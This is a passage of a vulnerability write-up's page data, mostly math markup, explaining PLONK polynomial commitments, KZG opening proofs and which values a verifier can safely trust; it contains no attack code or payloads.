",{"type":23,"tag":92,"props":143231,"children":143233},{"className":143232},[1183,1184],[143234],{"type":23,"tag":134,"props":143235,"children":143237},{"className":143236},[1189],[143238],{"type":23,"tag":134,"props":143239,"children":143241},{"className":143240,"ariaHidden":1195},[1194],[143242],{"type":23,"tag":134,"props":143243,"children":143245},{"className":143244},[1200],[143246,143250,143255,143260,143265],{"type":23,"tag":134,"props":143247,"children":143249},{"className":143248,"style":1313},[1205],[],{"type":23,"tag":134,"props":143251,"children":143253},{"className":143252,"style":21598},[1211,21066],[143254],{"type":28,"value":143123},{"type":23,"tag":134,"props":143256,"children":143258},{"className":143257},[21195],[143259],{"type":28,"value":272},{"type":23,"tag":134,"props":143261,"children":143263},{"className":143262},[1211,21066],[143264],{"type":28,"value":18752},{"type":23,"tag":134,"props":143266,"children":143268},{"className":143267},[21217],[143269],{"type":28,"value":296},{"type":28,"value":143271}," divides ",{"type":23,"tag":92,"props":143273,"children":143275},{"className":143274},[1183,1184],[143276],{"type":23,"tag":134,"props":143277,"children":143279},{"className":143278},[1189],[143280],{"type":23,"tag":134,"props":143281,"children":143283},{"className":143282,"ariaHidden":1195},[1194],[143284],{"type":23,"tag":134,"props":143285,"children":143287},{"className":143286},[1200],[143288,143292,143297,143302,143307],{"type":23,"tag":134,"props":143289,"children":143291},{"className":143290,"style":1313},[1205],[],{"type":23,"tag":134,"props":143293,"children":143295},{"className":143294,"style":21067},[1211,21066],[143296],{"type":28,"value":121337},{"type":23,"tag":134,"props":143298,"children":143300},{"className":143299},[21195],[143301],{"type":28,"value":272},{"type":23,"tag":134,"props":143303,"children":143305},{"className":143304},[1211,21066],[143306],{"type":28,"value":18752},{"type":23,"tag":134,"props":143308,"children":143310},{"className":143309},[21217],[143311],{"type":28,"value":296},{"type":28,"value":143313},", yielding a quotient polynomial ",{"type":23,"tag":92,"props":143315,"children":143317},{"className":143316},[1183,1184],[143318],{"type":23,"tag":134,"props":143319,"children":143321},{"className":143320},[1189],[143322],{"type":23,"tag":134,"props":143323,"children":143325},{"className":143324,"ariaHidden":1195},[1194],[143326],{"type":23,"tag":134,"props":143327,"children":143329},{"className":143328},[1200],[143330,143334,143339,143344,143349],{"type":23,"tag":134,"props":143331,"children":143333},{"className":143332,"style":1313},[1205],[],{"type":23,"tag":134,"props":143335,"children":143337},{"className":143336,"style":21067},[1211,21066],[143338],{"type":28,"value":5444},{"type":23,"tag":134,"props":143340,"children":143342},{"className":143341},[21195],[143343],{"type":28,"value":272},{"type":23,"tag":134,"props":143345,"children":143347},{"className":143346},[1211,21066],[143348],{"type":28,"value":18752},{"type":23,"tag":134,"props":143350,"children":143352},{"className":143351},[21217],[143353],{"type":28,"value":296},{"type":28,"value":20982},{"type":23,"tag":92,"props":143356,"children":143358},{"className":143357},[1183,1184],[143359],{"type":23,"tag":134,"props":143360,"children":143362},{"className":143361},[1189],[143363],{"type":23,"tag":134,"props":143364,"children":143366},{"className":143365,"ariaHidden":1195},[1194],[143367,143408,143449],{"type":23,"tag":134,"props":143368,"children":143370},{"className":143369},[1200],[143371,143375,143380,143385,143390,143395,143399,143404],{"type":23,"tag":134,"props":143372,"children":143374},{"className":143373,"style":1313},[1205],[],{"type":23,"tag":134,"props":143376,"children":143378},{"className":143377,"style":21067},[1211,21066],[143379],{"type":28,"value":121337},{"type":23,"tag":134,"props":143381,"children":143383},{"className":143382},[21195],[143384],{"type":28,"value":272},{"type":23,"tag":134,"props":143386,"children":143388},{"className":143387},[1211,21066],[143389],{"type":28,"value":18752},{"type":23,"tag":134,"props":143391,"children":143393},{"className":143392},[21217],[143394],{"type":28,"value":296},{"type":23,"tag":134,"props":143396,"children":143398},{"className":143397,"style":1390},[1292],[],{"type":23,"tag":134,"props":143400,"children":143402},{"className":143401},[1395],[143403],{"type":28,"value":257},{"type":23,"tag":134,"props":143405,"children":143407},{"className":143406,"style":1390},[1292],[],{"type":23,"tag":134,"props":143409,"children":143411},{"className":143410},[1200],[143412,143416,143421,143426,143431,143436,143440,143445],{"type":23,"tag":134,"props":143413,"children":143415},{"className":143414,"style":1313},[1205],[],{"type":23,"tag":134,"props":143417,"children":143419},{"className":143418,"style":21067},[1211,21066],[143420],{"type":28,"value":5444},{"type":23,"tag":134,"props":143422,"children":143424},{"className":143423},[21195],[143425],{"type":28,"value":272},{"type":23,"tag":134,"props":143427,"children":143429},{"className":143428},[1211,21066],[143430],{"type":28,"value":18752},{"type":23,"tag":134,"props":143432,"children":143434},{"className":143433},[21217],[143435],{"type":28,"value":296},{"type":23,"tag":134,"props":143437,"children":143439},{"className":143438,"style":1293},[1292],[],{"type":23,"tag":134,"props":143441,"children":143443},{"className":143442},[1298],[143444],{"type":28,"value":110821},{"type":23,"tag":134,"props":143446,"children":143448},{"className":143447,"style":1293},[1292],[],{"type":23,"tag":134,"props":143450,"children":143452},{"className":143451},[1200],[143453,143457,143462,143467,143472],{"type":23,"tag":134,"props":143454,"children":143456},{"className":143455,"style":1313},[1205],[],{"type":23,"tag":134,"props":143458,"children":143460},{"className":143459,"style":21598},[1211,21066],[143461],{"type":28,"value":143123},{"type":23,"tag":134,"props":143463,"children":143465},{"className":143464},[21195],[143466],{"type":28,"value":272},{"type":23,"tag":134,"props":143468,"children":143470},{"className":143469},[1211,21066],[143471],{"type":28,"value":18752},{"type":23,"tag":134,"props":143473,"children":143475},{"className":143474},[21217],[143476],{"type":28,"value":296},{"type":28,"value":720},{"type":23,"tag":24,"props":143479,"children":143480},{},[143481],{"type":23,"tag":1116,"props":143482,"children":143485},{"alt":143483,"src":143484},"master_equation","/posts/dusk-commitment-issues/master_equation.svg",[],{"type":23,"tag":9072,"props":143487,"children":143489},{"id":143488},"polynomial-commitments-and-opening-proofs",[143490],{"type":28,"value":143491},"Polynomial commitments and opening proofs",{"type":23,"tag":24,"props":143493,"children":143494},{},[143495,143497,143502,143504,143509],{"type":28,"value":143496},"To keep the proof short, the prover doesn't send polynomials directly. Instead, it sends ",{"type":23,"tag":55,"props":143498,"children":143499},{},[143500],{"type":28,"value":143501},"commitments",{"type":28,"value":143503},", short cryptographic fingerprints of each polynomial (using e.g. KZG commitments). When the verifier needs the value of a committed polynomial at a specific point, the prover provides the value along with an ",{"type":23,"tag":55,"props":143505,"children":143506},{},[143507],{"type":28,"value":143508},"opening proof",{"type":28,"value":143510}," that the claimed value is consistent with the earlier commitment.",{"type":23,"tag":24,"props":143512,"children":143513},{},[143514],{"type":28,"value":143515},"A committed polynomial evaluation is therefore cryptographically bound, and the prover cannot lie about the value without being caught.",{"type":23,"tag":9072,"props":143517,"children":143519},{"id":143518},"reducing-to-a-single-random-point",[143520],{"type":28,"value":143521},"Reducing to a single random point",{"type":23,"tag":24,"props":143523,"children":143524},{},[143525,143527,143567,143569,143594,143596,143718,143720,143745],{"type":28,"value":143526},"After the prover commits to all polynomials, including ",{"type":23,"tag":92,"props":143528,"children":143530},{"className":143529},[1183,1184],[143531],{"type":23,"tag":134,"props":143532,"children":143534},{"className":143533},[1189],[143535],{"type":23,"tag":134,"props":143536,"children":143538},{"className":143537,"ariaHidden":1195},[1194],[143539],{"type":23,"tag":134,"props":143540,"children":143542},{"className":143541},[1200],[143543,143547,143552,143557,143562],{"type":23,"tag":134,"props":143544,"children":143546},{"className":143545,"style":1313},[1205],[],{"type":23,"tag":134,"props":143548,"children":143550},{"className":143549,"style":21067},[1211,21066],[143551],{"type":28,"value":5444},{"type":23,"tag":134,"props":143553,"children":143555},{"className":143554},[21195],[143556],{"type":28,"value":272},{"type":23,"tag":134,"props":143558,"children":143560},{"className":143559},[1211,21066],[143561],{"type":28,"value":18752},{"type":23,"tag":134,"props":143563,"children":143565},{"className":143564},[21217],[143566],{"type":28,"value":296},{"type":28,"value":143568},", the verifier picks a random challenge point ",{"type":23,"tag":92,"props":143570,"children":143572},{"className":143571},[1183,1184],[143573],{"type":23,"tag":134,"props":143574,"children":143576},{"className":143575},[1189],[143577],{"type":23,"tag":134,"props":143578,"children":143580},{"className":143579,"ariaHidden":1195},[1194],[143581],{"type":23,"tag":134,"props":143582,"children":143584},{"className":143583},[1200],[143585,143589],{"type":23,"tag":134,"props":143586,"children":143588},{"className":143587,"style":110400},[1205],[],{"type":23,"tag":134,"props":143590,"children":143592},{"className":143591,"style":113116},[1211,21066],[143593],{"type":28,"value":113119},{"type":28,"value":143595}," (derived via the Fiat-Shamir heuristic from the transcript) and checks ",{"type":23,"tag":92,"props":143597,"children":143599},{"className":143598},[1183,1184],[143600],{"type":23,"tag":134,"props":143601,"children":143603},{"className":143602},[1189],[143604],{"type":23,"tag":134,"props":143605,"children":143607},{"className":143606,"ariaHidden":1195},[1194],[143608,143649,143690],{"type":23,"tag":134,"props":143609,"children":143611},{"className":143610},[1200],[143612,143616,143621,143626,143631,143636,143640,143645],{"type":23,"tag":134,"props":143613,"children":143615},{"className":143614,"style":1313},[1205],[],{"type":23,"tag":134,"props":143617,"children":143619},{"className":143618,"style":21067},[1211,21066],[143620],{"type":28,"value":121337},{"type":23,"tag":134,"props":143622,"children":143624},{"className":143623},[21195],[143625],{"type":28,"value":272},{"type":23,"tag":134,"props":143627,"children":143629},{"className":143628,"style":113116},[1211,21066],[143630],{"type":28,"value":113119},{"type":23,"tag":134,"props":143632,"children":143634},{"className":143633},[21217],[143635],{"type":28,"value":296},{"type":23,"tag":134,"props":143637,"children":143639},{"className":143638,"style":1390},[1292],[],{"type":23,"tag":134,"props":143641,"children":143643},{"className":143642},[1395],[143644],{"type":28,"value":257},{"type":23,"tag":134,"props":143646,"children":143648},{"className":143647,"style":1390},[1292],[],{"type":23,"tag":134,"props":143650,"children":143652},{"className":143651},[1200],[143653,143657,143662,143667,143672,143677,143681,143686],{"type":23,"tag":134,"props":143654,"children":143656},{"className":143655,"style":1313},[1205],[],{"type":23,"tag":134,"props":143658,"children":143660},{"className":143659,"style":21067},[1211,21066],[143661],{"type":28,"value":5444},{"type":23,"tag":134,"props":143663,"children":143665},{"className":143664},[21195],[143666],{"type":28,"value":272},{"type":23,"tag":134,"props":143668,"children":143670},{"className":143669,"style":113116},[1211,21066],[143671],{"type":28,"value":113119},{"type":23,"tag":134,"props":143673,"children":143675},{"className":143674},[21217],[143676],{"type":28,"value":296},{"type":23,"tag":134,"props":143678,"children":143680},{"className":143679,"style":1293},[1292],[],{"type":23,"tag":134,"props":143682,"children":143684},{"className":143683},[1298],[143685],{"type":28,"value":110821},{"type":23,"tag":134,"props":143687,"children":143689},{"className":143688,"style":1293},[1292],[],{"type":23,"tag":134,"props":143691,"children":143693},{"className":143692},[1200],[143694,143698,143703,143708,143713],{"type":23,"tag":134,"props":143695,"children":143697},{"className":143696,"style":1313},[1205],[],{"type":23,"tag":134,"props":143699,"children":143701},{"className":143700,"style":21598},[1211,21066],[143702],{"type":28,"value":143123},{"type":23,"tag":134,"props":143704,"children":143706},{"className":143705},[21195],[143707],{"type":28,"value":272},{"type":23,"tag":134,"props":143709,"children":143711},{"className":143710,"style":113116},[1211,21066],[143712],{"type":28,"value":113119},{"type":23,"tag":134,"props":143714,"children":143716},{"className":143715},[21217],[143717],{"type":28,"value":296},{"type":28,"value":143719}," at that single point. By the Schwartz-Zippel lemma, if this holds at a random ",{"type":23,"tag":92,"props":143721,"children":143723},{"className":143722},[1183,1184],[143724],{"type":23,"tag":134,"props":143725,"children":143727},{"className":143726},[1189],[143728],{"type":23,"tag":134,"props":143729,"children":143731},{"className":143730,"ariaHidden":1195},[1194],[143732],{"type":23,"tag":134,"props":143733,"children":143735},{"className":143734},[1200],[143736,143740],{"type":23,"tag":134,"props":143737,"children":143739},{"className":143738,"style":110400},[1205],[],{"type":23,"tag":134,"props":143741,"children":143743},{"className":143742,"style":113116},[1211,21066],[143744],{"type":28,"value":113119},{"type":28,"value":143746}," then the full polynomial identity holds with overwhelming probability, so the verifier checks the entire multi-million-row circuit in constant time.",{"type":23,"tag":24,"props":143748,"children":143749},{},[143750,143752,143777,143779,143784],{"type":28,"value":143751},"In textbook PLONK the selector polynomials are part of the fixed circuit description, but in practice implementations commit to them during preprocessing and place those commitments in the verifier key. When the verifier later needs their values at ",{"type":23,"tag":92,"props":143753,"children":143755},{"className":143754},[1183,1184],[143756],{"type":23,"tag":134,"props":143757,"children":143759},{"className":143758},[1189],[143760],{"type":23,"tag":134,"props":143761,"children":143763},{"className":143762,"ariaHidden":1195},[1194],[143764],{"type":23,"tag":134,"props":143765,"children":143767},{"className":143766},[1200],[143768,143772],{"type":23,"tag":134,"props":143769,"children":143771},{"className":143770,"style":110400},[1205],[],{"type":23,"tag":134,"props":143773,"children":143775},{"className":143774,"style":113116},[1211,21066],[143776],{"type":28,"value":113119},{"type":28,"value":143778},", the prover supplies ",{"type":23,"tag":55,"props":143780,"children":143781},{},[143782],{"type":28,"value":143783},"evaluation claims",{"type":28,"value":143785}," that must be checked against those commitments with opening proofs.",{"type":23,"tag":24,"props":143787,"children":143788},{},[143789,143791,143795],{"type":28,"value":143790},"The security argument depends on a chain: commitments lock the prover into polynomials ",{"type":23,"tag":55,"props":143792,"children":143793},{},[143794],{"type":28,"value":104103},{"type":28,"value":143796}," challenges are derived, and opening proofs ensure the evaluations are consistent with those commitments. Breaking any single link in this chain collapses soundness entirely.",{"type":23,"tag":9072,"props":143798,"children":143800},{"id":143799},"what-the-verifier-is-actually-allowed-to-trust",[143801],{"type":28,"value":143802},"What the verifier is actually allowed to trust",{"type":23,"tag":24,"props":143804,"children":143805},{},[143806,143808,143813],{"type":28,"value":143807},"For this bug, one invariant matters more than the rest: ",{"type":23,"tag":2532,"props":143809,"children":143810},{},[143811],{"type":28,"value":143812},"every scalar that enters the final verifier equation must be either locally computed by the verifier, or cryptographically tied to an earlier commitment",{"type":28,"value":720},{"type":23,"tag":24,"props":143815,"children":143816},{},[143817,143819,143911,143912,144004,144006,144031,144033,144073,144074,144114,144115,144208,144209,144255,144257,144344,144345,144432,144433,144520],{"type":28,"value":143818},"In practice, values entering the verifier equation fall into three buckets. The verifier computes some values locally from public data (",{"type":23,"tag":92,"props":143820,"children":143822},{"className":143821},[1183,1184],[143823],{"type":23,"tag":134,"props":143824,"children":143826},{"className":143825},[1189],[143827],{"type":23,"tag":134,"props":143828,"children":143830},{"className":143829,"ariaHidden":1195},[1194],[143831],{"type":23,"tag":134,"props":143832,"children":143834},{"className":143833},[1200],[143835,143839,143896,143901,143906],{"type":23,"tag":134,"props":143836,"children":143838},{"className":143837,"style":1313},[1205],[],{"type":23,"tag":134,"props":143840,"children":143842},{"className":143841},[1211],[143843,143848],{"type":23,"tag":134,"props":143844,"children":143846},{"className":143845,"style":21598},[1211,21066],[143847],{"type":28,"value":143123},{"type":23,"tag":134,"props":143849,"children":143851},{"className":143850},[1228],[143852],{"type":23,"tag":134,"props":143853,"children":143855},{"className":143854},[1233,21120],[143856,143885],{"type":23,"tag":134,"props":143857,"children":143859},{"className":143858},[1238],[143860,143880],{"type":23,"tag":134,"props":143861,"children":143863},{"className":143862,"style":142114},[1243],[143864],{"type":23,"tag":134,"props":143865,"children":143866},{"style":115808},[143867,143871],{"type":23,"tag":134,"props":143868,"children":143870},{"className":143869,"style":1253},[1252],[],{"type":23,"tag":134,"props":143872,"children":143874},{"className":143873},[1258,1259,1260,1261],[143875],{"type":23,"tag":134,"props":143876,"children":143878},{"className":143877,"style":92793},[1211,21066,1261],[143879],{"type":28,"value":92796},{"type":23,"tag":134,"props":143881,"children":143883},{"className":143882},[21223],[143884],{"type":28,"value":21226},{"type":23,"tag":134,"props":143886,"children":143888},{"className":143887},[1238],[143889],{"type":23,"tag":134,"props":143890,"children":143892},{"className":143891,"style":92642},[1243],[143893],{"type":23,"tag":134,"props":143894,"children":143895},{},[],{"type":23,"tag":134,"props":143897,"children":143899},{"className":143898},[21195],[143900],{"type":28,"value":272},{"type":23,"tag":134,"props":143902,"children":143904},{"className":143903,"style":113116},[1211,21066],[143905],{"type":28,"value":113119},{"type":23,"tag":134,"props":143907,"children":143909},{"className":143908},[21217],[143910],{"type":28,"value":296},{"type":28,"value":242},{"type":23,"tag":92,"props":143913,"children":143915},{"className":143914},[1183,1184],[143916],{"type":23,"tag":134,"props":143917,"children":143919},{"className":143918},[1189],[143920],{"type":23,"tag":134,"props":143921,"children":143923},{"className":143922,"ariaHidden":1195},[1194],[143924],{"type":23,"tag":134,"props":143925,"children":143927},{"className":143926},[1200],[143928,143932,143989,143994,143999],{"type":23,"tag":134,"props":143929,"children":143931},{"className":143930,"style":1313},[1205],[],{"type":23,"tag":134,"props":143933,"children":143935},{"className":143934},[1211],[143936,143941],{"type":23,"tag":134,"props":143937,"children":143939},{"className":143938},[1211,21066],[143940],{"type":28,"value":117523},{"type":23,"tag":134,"props":143942,"children":143944},{"className":143943},[1228],[143945],{"type":23,"tag":134,"props":143946,"children":143948},{"className":143947},[1233,21120],[143949,143978],{"type":23,"tag":134,"props":143950,"children":143952},{"className":143951},[1238],[143953,143973],{"type":23,"tag":134,"props":143954,"children":143956},{"className":143955,"style":92611},[1243],[143957],{"type":23,"tag":134,"props":143958,"children":143959},{"style":92615},[143960,143964],{"type":23,"tag":134,"props":143961,"children":143963},{"className":143962,"style":1253},[1252],[],{"type":23,"tag":134,"props":143965,"children":143967},{"className":143966},[1258,1259,1260,1261],[143968],{"type":23,"tag":134,"props":143969,"children":143971},{"className":143970},[1211,1261],[143972],{"type":28,"value":1214},{"type":23,"tag":134,"props":143974,"children":143976},{"className":143975},[21223],[143977],{"type":28,"value":21226},{"type":23,"tag":134,"props":143979,"children":143981},{"className":143980},[1238],[143982],{"type":23,"tag":134,"props":143983,"children":143985},{"className":143984,"style":92642},[1243],[143986],{"type":23,"tag":134,"props":143987,"children":143988},{},[],{"type":23,"tag":134,"props":143990,"children":143992},{"className":143991},[21195],[143993],{"type":28,"value":272},{"type":23,"tag":134,"props":143995,"children":143997},{"className":143996,"style":113116},[1211,21066],[143998],{"type":28,"value":113119},{"type":23,"tag":134,"props":144000,"children":144002},{"className":144001},[21217],[144003],{"type":28,"value":296},{"type":28,"value":144005},", the public-input polynomial at ",{"type":23,"tag":92,"props":144007,"children":144009},{"className":144008},[1183,1184],[144010],{"type":23,"tag":134,"props":144011,"children":144013},{"className":144012},[1189],[144014],{"type":23,"tag":134,"props":144015,"children":144017},{"className":144016,"ariaHidden":1195},[1194],[144018],{"type":23,"tag":134,"props":144019,"children":144021},{"className":144020},[1200],[144022,144026],{"type":23,"tag":134,"props":144023,"children":144025},{"className":144024,"style":110400},[1205],[],{"type":23,"tag":134,"props":144027,"children":144029},{"className":144028,"style":113116},[1211,21066],[144030],{"type":28,"value":113119},{"type":28,"value":144032},"), which are safe because the prover never chooses them. Other values are prover-supplied evaluations accompanied by KZG opening proofs (",{"type":23,"tag":92,"props":144034,"children":144036},{"className":144035},[1183,1184],[144037],{"type":23,"tag":134,"props":144038,"children":144040},{"className":144039},[1189],[144041],{"type":23,"tag":134,"props":144042,"children":144044},{"className":144043,"ariaHidden":1195},[1194],[144045],{"type":23,"tag":134,"props":144046,"children":144048},{"className":144047},[1200],[144049,144053,144058,144063,144068],{"type":23,"tag":134,"props":144050,"children":144052},{"className":144051,"style":1313},[1205],[],{"type":23,"tag":134,"props":144054,"children":144056},{"className":144055},[1211,21066],[144057],{"type":28,"value":31},{"type":23,"tag":134,"props":144059,"children":144061},{"className":144060},[21195],[144062],{"type":28,"value":272},{"type":23,"tag":134,"props":144064,"children":144066},{"className":144065,"style":113116},[1211,21066],[144067],{"type":28,"value":113119},{"type":23,"tag":134,"props":144069,"children":144071},{"className":144070},[21217],[144072],{"type":28,"value":296},{"type":28,"value":242},{"type":23,"tag":92,"props":144075,"children":144077},{"className":144076},[1183,1184],[144078],{"type":23,"tag":134,"props":144079,"children":144081},{"className":144080},[1189],[144082],{"type":23,"tag":134,"props":144083,"children":144085},{"className":144084,"ariaHidden":1195},[1194],[144086],{"type":23,"tag":134,"props":144087,"children":144089},{"className":144088},[1200],[144090,144094,144099,144104,144109],{"type":23,"tag":134,"props":144091,"children":144093},{"className":144092,"style":1313},[1205],[],{"type":23,"tag":134,"props":144095,"children":144097},{"className":144096},[1211,21066],[144098],{"type":28,"value":393},{"type":23,"tag":134,"props":144100,"children":144102},{"className":144101},[21195],[144103],{"type":28,"value":272},{"type":23,"tag":134,"props":144105,"children":144107},{"className":144106,"style":113116},[1211,21066],[144108],{"type":28,"value":113119},{"type":23,"tag":134,"props":144110,"children":144112},{"className":144111},[21217],[144113],{"type":28,"value":296},{"type":28,"value":242},{"type":23,"tag":92,"props":144116,"children":144118},{"className":144117},[1183,1184],[144119],{"type":23,"tag":134,"props":144120,"children":144122},{"className":144121},[1189],[144123],{"type":23,"tag":134,"props":144124,"children":144126},{"className":144125,"ariaHidden":1195},[1194],[144127],{"type":23,"tag":134,"props":144128,"children":144130},{"className":144129},[1200],[144131,144135,144193,144198,144203],{"type":23,"tag":134,"props":144132,"children":144134},{"className":144133,"style":1313},[1205],[],{"type":23,"tag":134,"props":144136,"children":144138},{"className":144137},[1211],[144139,144145],{"type":23,"tag":134,"props":144140,"children":144142},{"className":144141,"style":93045},[1211,21066],[144143],{"type":28,"value":144144},"σ",{"type":23,"tag":134,"props":144146,"children":144148},{"className":144147},[1228],[144149],{"type":23,"tag":134,"props":144150,"children":144152},{"className":144151},[1233,21120],[144153,144182],{"type":23,"tag":134,"props":144154,"children":144156},{"className":144155},[1238],[144157,144177],{"type":23,"tag":134,"props":144158,"children":144160},{"className":144159,"style":92611},[1243],[144161],{"type":23,"tag":134,"props":144162,"children":144163},{"style":93092},[144164,144168],{"type":23,"tag":134,"props":144165,"children":144167},{"className":144166,"style":1253},[1252],[],{"type":23,"tag":134,"props":144169,"children":144171},{"className":144170},[1258,1259,1260,1261],[144172],{"type":23,"tag":134,"props":144173,"children":144175},{"className":144174},[1211,1261],[144176],{"type":28,"value":1214},{"type":23,"tag":134,"props":144178,"children":144180},{"className":144179},[21223],[144181],{"type":28,"value":21226},{"type":23,"tag":134,"props":144183,"children":144185},{"className":144184},[1238],[144186],{"type":23,"tag":134,"props":144187,"children":144189},{"className":144188,"style":92642},[1243],[144190],{"type":23,"tag":134,"props":144191,"children":144192},{},[],{"type":23,"tag":134,"props":144194,"children":144196},{"className":144195},[21195],[144197],{"type":28,"value":272},{"type":23,"tag":134,"props":144199,"children":144201},{"className":144200,"style":113116},[1211,21066],[144202],{"type":28,"value":113119},{"type":23,"tag":134,"props":144204,"children":144206},{"className":144205},[21217],[144207],{"type":28,"value":296},{"type":28,"value":242},{"type":23,"tag":92,"props":144210,"children":144212},{"className":144211},[1183,1184],[144213],{"type":23,"tag":134,"props":144214,"children":144216},{"className":144215},[1189],[144217],{"type":23,"tag":134,"props":144218,"children":144220},{"className":144219,"ariaHidden":1195},[1194],[144221],{"type":23,"tag":134,"props":144222,"children":144224},{"className":144223},[1200],[144225,144229,144234,144239,144244,144250],{"type":23,"tag":134,"props":144226,"children":144228},{"className":144227,"style":1313},[1205],[],{"type":23,"tag":134,"props":144230,"children":144232},{"className":144231},[1211,21066],[144233],{"type":28,"value":31},{"type":23,"tag":134,"props":144235,"children":144237},{"className":144236},[21195],[144238],{"type":28,"value":272},{"type":23,"tag":134,"props":144240,"children":144242},{"className":144241,"style":113116},[1211,21066],[144243],{"type":28,"value":113119},{"type":23,"tag":134,"props":144245,"children":144247},{"className":144246,"style":93045},[1211,21066],[144248],{"type":28,"value":144249},"ω",{"type":23,"tag":134,"props":144251,"children":144253},{"className":144252},[21217],[144254],{"type":28,"value":296},{"type":28,"value":144256},"), which are safe because the opening binds them to previously committed polynomials. A third category consists of verifier-key commitments used directly in the linearization multiscalar multiplication (",{"type":23,"tag":92,"props":144258,"children":144260},{"className":144259},[1183,1184],[144261],{"type":23,"tag":134,"props":144262,"children":144264},{"className":144263},[1189],[144265],{"type":23,"tag":134,"props":144266,"children":144268},{"className":144267,"ariaHidden":1195},[1194],[144269],{"type":23,"tag":134,"props":144270,"children":144272},{"className":144271},[1200],[144273,144277,144282,144339],{"type":23,"tag":134,"props":144274,"children":144276},{"className":144275,"style":1313},[1205],[],{"type":23,"tag":134,"props":144278,"children":144280},{"className":144279},[21195],[144281],{"type":28,"value":924},{"type":23,"tag":134,"props":144283,"children":144285},{"className":144284},[1211],[144286,144291],{"type":23,"tag":134,"props":144287,"children":144289},{"className":144288,"style":93045},[1211,21066],[144290],{"type":28,"value":93048},{"type":23,"tag":134,"props":144292,"children":144294},{"className":144293},[1228],[144295],{"type":23,"tag":134,"props":144296,"children":144298},{"className":144297},[1233,21120],[144299,144328],{"type":23,"tag":134,"props":144300,"children":144302},{"className":144301},[1238],[144303,144323],{"type":23,"tag":134,"props":144304,"children":144306},{"className":144305,"style":142114},[1243],[144307],{"type":23,"tag":134,"props":144308,"children":144309},{"style":93092},[144310,144314],{"type":23,"tag":134,"props":144311,"children":144313},{"className":144312,"style":1253},[1252],[],{"type":23,"tag":134,"props":144315,"children":144317},{"className":144316},[1258,1259,1260,1261],[144318],{"type":23,"tag":134,"props":144319,"children":144321},{"className":144320,"style":94567},[1211,21066,1261],[144322],{"type":28,"value":94570},{"type":23,"tag":134,"props":144324,"children":144326},{"className":144325},[21223],[144327],{"type":28,"value":21226},{"type":23,"tag":134,"props":144329,"children":144331},{"className":144330},[1238],[144332],{"type":23,"tag":134,"props":144333,"children":144335},{"className":144334,"style":92642},[1243],[144336],{"type":23,"tag":134,"props":144337,"children":144338},{},[],{"type":23,"tag":134,"props":144340,"children":144342},{"className":144341},[21217],[144343],{"type":28,"value":14880},{"type":28,"value":242},{"type":23,"tag":92,"props":144346,"children":144348},{"className":144347},[1183,1184],[144349],{"type":23,"tag":134,"props":144350,"children":144352},{"className":144351},[1189],[144353],{"type":23,"tag":134,"props":144354,"children":144356},{"className":144355,"ariaHidden":1195},[1194],[144357],{"type":23,"tag":134,"props":144358,"children":144360},{"className":144359},[1200],[144361,144365,144370,144427],{"type":23,"tag":134,"props":144362,"children":144364},{"className":144363,"style":1313},[1205],[],{"type":23,"tag":134,"props":144366,"children":144368},{"className":144367},[21195],[144369],{"type":28,"value":924},{"type":23,"tag":134,"props":144371,"children":144373},{"className":144372},[1211],[144374,144379],{"type":23,"tag":134,"props":144375,"children":144377},{"className":144376,"style":93045},[1211,21066],[144378],{"type":28,"value":93048},{"type":23,"tag":134,"props":144380,"children":144382},{"className":144381},[1228],[144383],{"type":23,"tag":134,"props":144384,"children":144386},{"className":144385},[1233,21120],[144387,144416],{"type":23,"tag":134,"props":144388,"children":144390},{"className":144389},[1238],[144391,144411],{"type":23,"tag":134,"props":144392,"children":144394},{"className":144393,"style":142114},[1243],[144395],{"type":23,"tag":134,"props":144396,"children":144397},{"style":93092},[144398,144402],{"type":23,"tag":134,"props":144399,"children":144401},{"className":144400,"style":1253},[1252],[],{"type":23,"tag":134,"props":144403,"children":144405},{"className":144404},[1258,1259,1260,1261],[144406],{"type":23,"tag":134,"props":144407,"children":144409},{"className":144408,"style":92559},[1211,21066,1261],[144410],{"type":28,"value":114878},{"type":23,"tag":134,"props":144412,"children":144414},{"className":144413},[21223],[144415],{"type":28,"value":21226},{"type":23,"tag":134,"props":144417,"children":144419},{"className":144418},[1238],[144420],{"type":23,"tag":134,"props":144421,"children":144423},{"className":144422,"style":92642},[1243],[144424],{"type":23,"tag":134,"props":144425,"children":144426},{},[],{"type":23,"tag":134,"props":144428,"children":144430},{"className":144429},[21217],[144431],{"type":28,"value":14880},{"type":28,"value":242},{"type":23,"tag":92,"props":144434,"children":144436},{"className":144435},[1183,1184],[144437],{"type":23,"tag":134,"props":144438,"children":144440},{"className":144439},[1189],[144441],{"type":23,"tag":134,"props":144442,"children":144444},{"className":144443,"ariaHidden":1195},[1194],[144445],{"type":23,"tag":134,"props":144446,"children":144448},{"className":144447},[1200],[144449,144453,144458,144515],{"type":23,"tag":134,"props":144450,"children":144452},{"className":144451,"style":1313},[1205],[],{"type":23,"tag":134,"props":144454,"children":144456},{"className":144455},[21195],[144457],{"type":28,"value":924},{"type":23,"tag":134,"props":144459,"children":144461},{"className":144460},[1211],[144462,144467],{"type":23,"tag":134,"props":144463,"children":144465},{"className":144464,"style":93045},[1211,21066],[144466],{"type":28,"value":144144},{"type":23,"tag":134,"props":144468,"children":144470},{"className":144469},[1228],[144471],{"type":23,"tag":134,"props":144472,"children":144474},{"className":144473},[1233,21120],[144475,144504],{"type":23,"tag":134,"props":144476,"children":144478},{"className":144477},[1238],[144479,144499],{"type":23,"tag":134,"props":144480,"children":144482},{"className":144481,"style":92611},[1243],[144483],{"type":23,"tag":134,"props":144484,"children":144485},{"style":93092},[144486,144490],{"type":23,"tag":134,"props":144487,"children":144489},{"className":144488,"style":1253},[1252],[],{"type":23,"tag":134,"props":144491,"children":144493},{"className":144492},[1258,1259,1260,1261],[144494],{"type":23,"tag":134,"props":144495,"children":144497},{"className":144496},[1211,1261],[144498],{"type":28,"value":17001},{"type":23,"tag":134,"props":144500,"children":144502},{"className":144501},[21223],[144503],{"type":28,"value":21226},{"type":23,"tag":134,"props":144505,"children":144507},{"className":144506},[1238],[144508],{"type":23,"tag":134,"props":144509,"children":144511},{"className":144510,"style":92642},[1243],[144512],{"type":23,"tag":134,"props":144513,"children":144514},{},[],{"type":23,"tag":134,"props":144516,"children":144518},{"className":144517},[21217],[144519],{"type":28,"value":14880},{"type":28,"value":144521},"), which are safe because the verifier never trusts a bare field element for these; it uses the commitment itself.",{"type":23,"tag":24,"props":144523,"children":144524},{},[144525],{"type":28,"value":144526},"Any term that falls outside those three categories is attacker-controlled by 